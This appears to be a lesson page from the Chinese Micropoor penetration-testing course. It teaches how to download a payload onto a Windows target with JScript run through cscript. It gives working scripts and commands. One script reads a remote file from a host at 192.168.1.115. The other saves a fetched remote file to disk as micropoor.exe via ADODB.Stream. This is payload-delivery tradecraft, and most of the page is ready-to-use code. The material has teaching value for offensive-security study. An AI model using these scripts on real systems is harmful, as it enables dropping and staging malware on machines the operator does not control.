> For the complete documentation index, see [llms.txt](https://micro8.gitbook.io/micro8/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://micro8.gitbook.io/micro8/contents-1/41-50/43js-yi-ju-hua-xia-zai-payload.md).

# 第四十三课：js一句话下载payload

windows 全版本都会默认支持 js，并且通过cscript 来调用达到下载 payload 的目的。

**靶机：**windows 2003

## 读取：

```bash
C:\test>cscript /nologo downfile.js http://192.168.1.115/robots.txt
```

![](/files/-LZJwr5xZ8Gi2ny5_8KX)

## 附代码：

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
WScript.Echo(WinHttpReq.ResponseText);
```

## 写入：

```bash
C:\test>cscript /nologo dowfile2.js http://192.168.1.115/robots.txt
```

![](/files/-LZJwr5zAXLS3cUEnl-_)

## 附代码：

```javascript
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();

BinStream = new ActiveXObject("ADODB.Stream"); BinStream.Type = 1;

BinStream.Open(); BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile("micropoor.exe");
```

> 后者的话：简单，易用，轻便。
>
> Micropoor